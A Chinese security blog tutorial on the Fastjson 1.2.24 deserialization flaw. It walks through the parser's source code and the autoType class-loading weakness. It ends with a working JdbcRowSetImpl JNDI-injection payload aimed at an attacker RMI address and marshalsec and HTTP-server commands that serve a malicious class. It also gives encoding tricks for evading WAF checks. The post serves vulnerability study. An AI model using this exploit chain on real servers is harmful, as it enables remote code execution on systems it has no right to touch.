JavaSec Fastjson反序列化漏洞利用原理

在上篇《JavaSec Java反序列化漏洞利用》中指出,不安全的输入字节流参与甚至改变了程序的执行流是Java反序列化漏洞利用的成因,对于从字节序列反向实例化对象除了Java Serialize外,还有json,xml等传输数据格式,其中在国内对json用的比较多的解析库有Fastjson与Jackson,他们同样从json的字符串中还原对象的状态,因为json串中记录了每个成员变量的具体类型与具体值,这点与Java反序列一致,其漏洞利用原理也是一致的,若攻击者能够控制反序列的对象类型,这些类型在服务端的classpath能够找到(存在gadget依赖),通过Java反序列的漏洞或者一些类的属性控制(如JNDI注入利用)达到攻击目的。

这里将介绍

1.Fastjson的基本使用

2.FastJson的反序列过程与利用点分析

3.FastJson的利用方式总结

一、FastJson基本使用

是Alibaba开源的一套JSON解析,主要通过 JSON.toJsonString() 序列化成JSON串,通过 JSONObject.parse()JSONObject.parseObejct() 将json串反序列化

下面以demo测试FastJson的序列化与反序列

fastjson 1.2.24

jdk1.8u181

JavaBean类

package org.sec.demo1;

/**
 * @Project: JavaSec
 * @Desc: JavaBean测试类
 * @Author: thonsun
 * @Create: 2020/12/17 16:10
 **/
public class User {
    private String name;
    private int age;
    public Flag flag;

    public User(String name, int age, Flag flag) {
        System.out.println("user constructor called");
        this.name = name;
        this.age = age;
        this.flag = flag;
    }

    public User() {
        System.out.println("user default constructor called");
    }

    public String getName() {
        System.out.println("user getName called");
        return name;
    }

    public void setName(String name) {
        System.out.println("user setName called");
        this.name = name;
    }

    public int getAge() {
        System.out.println("user getAge called");
        return age;
    }

    public void setAge(int age) {
        System.out.println("user setAget called");
        this.age = age;
    }

    public Flag getFlag() {
        System.out.println("user getFlag called");
        return flag;
    }

    public void setFlag(Flag flag) {
        System.out.println("user setFlag called");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                '}';
    }
}

class Flag {
    public String value;

    @Override
    public String toString() {
        return "Flag{" +
                "value='" + value + '\'' +
                '}';
    }

    public String getValue() {
        System.out.println("flag getValue called");
        return value;
    }

    public void setValue(String value) {
        System.out.println("flag setValue called");
        this.value = value;
    }

    public Flag(String value) {
        System.out.println("flag constructor called");
        this.value = value;
    }

    public Flag() {
        System.out.println("flag default constructor called");
    }
}

测试类

package org.sec.demo1;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

/**
 * @Project: JavaSec
 * @Desc: 测试FastJson基本使用
 * @Author: thonsun
 * @Create: 2020/12/17 16:09
 **/
public class MainClass {
    public static void main(String[] args) {
        Flag flag = new Flag("flag{xxxx}");
        User user = new User("thonsun", 22, flag);
        System.out.println("\n==fastjson serialize start==");
        String s = JSON.toJSONString(user);
        System.out.println(s);

        System.out.println("\n==fastjson deserialize start==");
        System.out.printf("Parse done: %s\n", JSONObject.parse(s).getClass());
        System.out.printf("ParseObejct done: %s\n", JSONObject.parseObject(s).getClass());
        System.out.printf("ParseObject with class: %s\n", JSONObject.parseObject(s, User.class).getClass());
    }
}

运行结果:

image-20201226170523283

可以看到Fastjson序列化主要调用get方法将字段值写入序列化Json串中,JSONObject.parse(s)JSONObject.parseObject(s)

都没有真正还原对象,只有JSONObject.parseObject(s, User.class) 指定了class才调用默认的构造器初始化对象并调用setValue设置初始值。这也容易理解,只有指定了从哪个类进行反序列化才还原成该类对象实例。在FastJson1.2.24及之前的版本为了方便开发者,默认开启的autoType的功能,即可以在json串中指定FastJson明确还原的类。如

{"@type":"org.sec.demo1.User","age":22,"flag":{"value":"flag{xxxx}"},"name":"thonsun"}

再次调用测试类:

image-20201226171756794

可以看到三种方法都明确的还原了对象,并且第二种调用方式会多调用get方法。

对于JSONObject.parse()JSONObject.parseObject()的区别联系可以:

image-20201226171040764

只是多了一层对obj的处理。

二、FastJson反序列化分析

上面的demo演示了Fastjson在序列化与反序列的标准调用时通过get,set方法,这里的标准是对于一个JavaBean,每个成员都有getter & setter方法。所以要利用FastJson的反序列化漏洞,在fastjson 1.2.24默认开启autoType时候,攻击者可以控制服务器以哪个类进行还原,这个target 类的属性也可以在json的field中控制,所以所以只需找到target 类的set或get方法存在利用即可。

下面以JSONObject.parseObject(string) 为例,在源码层分析FastJson的反序列化过程:

1. 获取DefaultJSONParser

JSONObject.parseObject(string) –> JSONObject.parse(string) –> new DefaultJSONParser

image-20201226182240532

DefaultJsonParser对象用于解析json串,依据token标识解析的进度

int ch = lexer.getCurrent();
if (ch == '{') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 14;
} else {
    lexer.nextToken();
}

2.进入DefualtJSONParser#parse()获取对象

JSONObject#parse()

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

DefualtJSONParser#parse()通过switch case token进行不同的解析

image-20201226183543158

在第⼀⾏会创建⼀个空的JSONObject,随后会通过 parseObject ⽅法进⾏解析 ,parseObject 通过while循环遍历JSON的字符串进行解析

这里有处理空白字符的与依据Feature进行一些预处理的函数,如忽略多个”,”等

image-20201226184033250

Feature特性支持

public enum Feature {
    AutoCloseSource,
    AllowComment,
    AllowUnQuotedFieldNames,
    AllowSingleQuotes,
    InternFieldNames,
    AllowISO8601DateFormat,
    AllowArbitraryCommas,
    UseBigDecimal,
    IgnoreNotMatch,
    SortFeidFastMatch,
    DisableASM,
    DisableCircularReferenceDetect,
    InitStringFieldAsEmpty,
    SupportArrayToBean,
    OrderedField,
    DisableSpecialKeyDetect,
    UseObjectArray,
    SupportNonPublicField
}

同时通过scanSymbol进行编码,也就是说

json串的格式可以是\u0065 或 \x12 或字符 或注释L 、[等,这些可以用于在后面的漏洞利用中绕过黑名单或者WAF或程序的正则检查

3.autoType 支持进行类加载

通过TypeUtils.loadClass加载 @type指定的class

image-20201226185116137

TypeUtils.loadClass先在TypeUtils的缓存mapping获取name指定的类,命中则直接返回对应class,否则通过class.LoadClass(name)指定进行类加载并加入mapping缓存方便下次使用。其中mapping支持的大多数是常用基本类型

image-20201226185552734

loadClass

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className); //缓存加载

        if (clazz != null) {
            return clazz;
        }

        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }

        try {
            if (classLoader != null) {
                clazz = classLoader.loadClass(className); //指定名称类加载
                mappings.put(className, clazz);

                return clazz;
            }
        } catch (Throwable e) {
            e.printStackTrace();
            // skip
        }

        try {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

            if (contextClassLoader != null) {
                clazz = contextClassLoader.loadClass(className);
                mappings.put(className, clazz);

                return clazz;
            }
        } catch (Throwable e) {
            // skip
        }

        try {
            clazz = Class.forName(className);
            mappings.put(className, clazz);

            return clazz;
        } catch (Throwable e) {
            // skip
        }

        return clazz;
    }

4.通过class对象获取反序列化器

image-20201226190655431

这个反序列化器实际是一个依据Class对象获取里面声明的Field,Method,Constructor,方便后面通过反射调用Constructor&Method(get|set)还原json对象同类Class加载一样,Fastjson提供了默认的反序列化器(Class.newInstance()的实例化对象)

image-20201226191322096

ParserConfig.getDeserializer(clazz)

1.过denyList

2.最终通过derializer = createJavaBeanDeserializer(clazz, type);构建序列化器

其里面的实现通过

if (!asmEnable) {
    return new JavaBeanDeserializer(this, clazz, type);
}

最终通过反射获取class对象里面的Field,Method,Constructors组成JavaBeanDeserializer

5.还原json对象

对于Field也是递归上面的过程,通过加载clazz,获取到反序列化器(里面保存了clazz的Constructor,Method,Fields)

随后会通过 FieldDeserializer#setValue 的⽅式去赋值:

fieldDeSer.setValue(Object,fieldValue);

如果有 set ⽅法了,就会通过反射的⽅式调⽤ set ⽅法去赋值:

field.set(value)

如果没有 set ⽅法,就会通过反射的⽅式为 Field 赋值:

method.invoke(object,value)

对于对象的还原也是重复上面流程。

总结一下:

  • JSON中的键&值均可使⽤unicode编码 & ⼗六进制编码(可⽤于绕过WAF检测)
  • JSON解析时会忽略双引号外的所有空格、换⾏、注释符(可⽤于绕过WAF检测)
  • 为属性赋值相关的代码位于setValue⽅法中
  • 反序列化时是可以调⽤ get ⽅法的,只是有⼀定的限制

三、FastJson反序列化利用

fastjson 安全公告 中指出,Fastjson在1.2.24之前默认开启autoType,导致攻击者可以控制@type中让服务端加载任意类,若找到一些类满足getter or setter方法存在漏洞,就可以被恶意利用,这个getter 或 setter方法就像Java反序列化的readObject函数一样。

关于Fastjson的利用与及Bypass手段将在《JavaSec Fastjson漏洞复现》中讨论

这里以JdbcRowSetImpl 在fastjson的利用:

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext(); //JNDI 注入利用
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

所以构造json

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.58.131:1099/evil","autoCommit":true}

测试类

package org.sec.poc;

import com.alibaba.fastjson.JSONObject;

/**
 * @Project: JavaSec
 * @Desc:
 * @Author: thonsun
 * @Create: 2020/12/26 20:05
 **/
public class MainClass {
    public static void main(String[] args) {
        String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.58.131:1099/evil\",\"autoCommit\":true}";

        JSONObject.parseObject(poc);
    }
}

通过marshalsec 快速搭建RMIReference server or LDAP server

#最后一个默认是1099,注册中心的绑定地址
#将所有命名解析请求都返回 http://ip:8080/文件夹/#ExportOb 的Refere引用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088

python起服务器提供class下载

python -m http.server 8080

运行结果

image-20201226201721929

参考资料

1.fastjson 安全公告


 上一篇
JavaSec jndi注入利用分析 JavaSec jndi注入利用分析
在fastjson反序列化漏洞利用的学习中引出了JNDI的利用攻击方式,JNDI(Java Naming and Directory Interface)实际可以理解为一个编程接口,通过API的操作可以操作后端命名服务或者目录服务,如loo
2020-12-02
下一篇 
JavaSec Fastjson反序列漏洞复现 JavaSec Fastjson反序列漏洞复现
在《JavaSec FastJson反序列化漏洞利用原理》中分析了FastJson的反序列化漏洞成因,也总结了FastJson的反序列化利用方式,这里将复现一些有关FastJson的漏洞利用,以清晰了解FastJson的漏洞发展史,从中吸取
2020-11-10
  目录